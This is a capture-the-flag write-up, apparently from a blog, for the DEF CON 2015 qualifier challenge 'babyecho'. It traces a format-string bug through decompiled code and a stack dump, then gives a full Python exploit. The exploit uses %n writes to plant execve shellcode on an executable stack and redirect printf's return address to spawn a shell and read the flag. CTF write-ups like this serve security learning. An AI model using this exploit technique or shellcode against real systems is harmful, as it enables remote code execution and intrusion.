https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/babyecho
decompile binary
int __usercall UserInteractFunction(int a1) { int v1; signed int v2; int v3; int v6; int buf; int v8; v8 = *MK_FP(__GS__, 20); v6 = 13; sub_804FC40((int)off_80EA4C0, 0, 2, 0); Signal(14, sub_8048EB1); sub_806CB50(v1, a1); while ( 1 ) { v2 = 1023; if ( v6 <= 1023 ) v2 = v6; v6 = v2; printf("Reading %d bytes\n", v2); Read((int)&buf, v6, 10); sub_8048ECF((int)&buf); printf((const char *)&buf); sub_804FDE0(10); sub_806CB50(v3, a1); } }
We can find format string bug in 'printf((const char *)&buf);'
But buffer length is too small to use FSB.
So first. We need to change buffer length(aka. 'v6' in source).
Check stack with FSB.
%1$x - d // v2(?) in source %2$x - a %3$x - 0 %4$x - d // v6 in source %5$x - ffa198fc // buffer address %6$x - 0 %7$x - 78243725 // buffer start address %8$x - 0 %9$x - 0 %10$x - 0 %11$x - 0 %12$x - 0 %13$x - 0 %14$x - 0 %15$x - 0 ... buffer
And. check memory
(gdb) she ps PID TTY TIME CMD 3922 pts/0 00:00:00 bash 3977 pts/0 00:00:00 gdb 3980 pts/0 00:00:00 babyecho 3983 pts/0 00:00:00 ps (gdb) she cat /proc/3980/maps 08048000-080e9000 r-xp 00000000 08:01 941429 /root/Desktop/defcon/babyecho 080e9000-080eb000 rwxp 000a0000 08:01 941429 /root/Desktop/defcon/babyecho 080eb000-0810f000 rwxp 00000000 00:00 0 [heap] b7ffc000-b7ffe000 r--p 00000000 00:00 0 [vvar] b7ffe000-b8000000 r-xp 00000000 00:00 0 [vdso] bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
We can execute code on stack.
So. I wrote shellcode on buffer, and changed 'printf' function's ret address to shellcode address using FSB.
import struct import time import telnetlib from socket import * p = lambda x : struct.pack("<L", x) #HOST = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me" HOST = "52.74.164.187" PORT = 3232 # 15bytes nops + 25bytes shellcode shellcode = "\x90" * 15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" # write memory function def WriteMemory(s, addr, data) : for i in range(4) : s.recv(1024) s.send("a" * 16 + p(addr + i) + "\n") s.recv(1024) s.recv(1024) s.send("%" + str((data >> 8 * i) & 0xff) + "c%11$n\n") s.recv(1024) s = socket(AF_INET, SOCK_STREAM) s.connect((HOST, PORT)) s.recv(1024) s.send("%5$x\n") data = s.recv(1024) bufAddr = int(data, 16) print "buf addr -", hex(bufAddr) # change buf limit d -> 10d s.recv(1024) s.send("aaaaaaaa" + p(bufAddr - 11) + "\n") s.recv(1024) s.recv(1024) s.send("%1c%9$n\n") s.recv(1024) shellcodeAddr = bufAddr + 80 print "[*] shellcode Addr - " + hex(shellcodeAddr) print "[*] writing shellcode..." for i in range(len(shellcode) / 4) : shellcodeDword = ord(shellcode[i * 4 + 3]) << 24 shellcodeDword += ord(shellcode[i * 4 + 2]) << 16 shellcodeDword += ord(shellcode[i * 4 + 1]) << 8 shellcodeDword += ord(shellcode[i * 4]) WriteMemory(s, shellcodeAddr + i * 4, shellcodeDword) print "[*] writing Success" # change ret addr to shellcode addr print s.recv(1024) addr1 = (shellcodeAddr & 0xff) addr2 = ((shellcodeAddr >> 8) & 0xff) addr2 = addr2 + (0x100 - addr1) addr3 = ((shellcodeAddr >> 16) & 0xff) addr3 = addr3 + (0x200 - addr2 - addr1) s.send(p(bufAddr - 32) + "%" + str(addr1 - 4) + "c" + "%7$n" + "aaa") s.send(p(bufAddr - 31) + "%" + str(addr2 - 7) + "c" + "%11$n" + "aa") s.send(p(bufAddr - 30) + "%" + str(addr3 - 6) + "c" + "%15$n" + "aa") s.send(p(bufAddr - 29) + "%" + str(0xff - ((shellcodeAddr >> 16) & 0xff) - 6) + "c" + "%19$n" + "\n") # if success then receive data data = s.recv(2024) if data.find("aa") != -1 : s.send("cat /home/babyecho/flag\n") print s.recv(1024) else : print "failed!\n") s.close()
댓글 없음 :
댓글 쓰기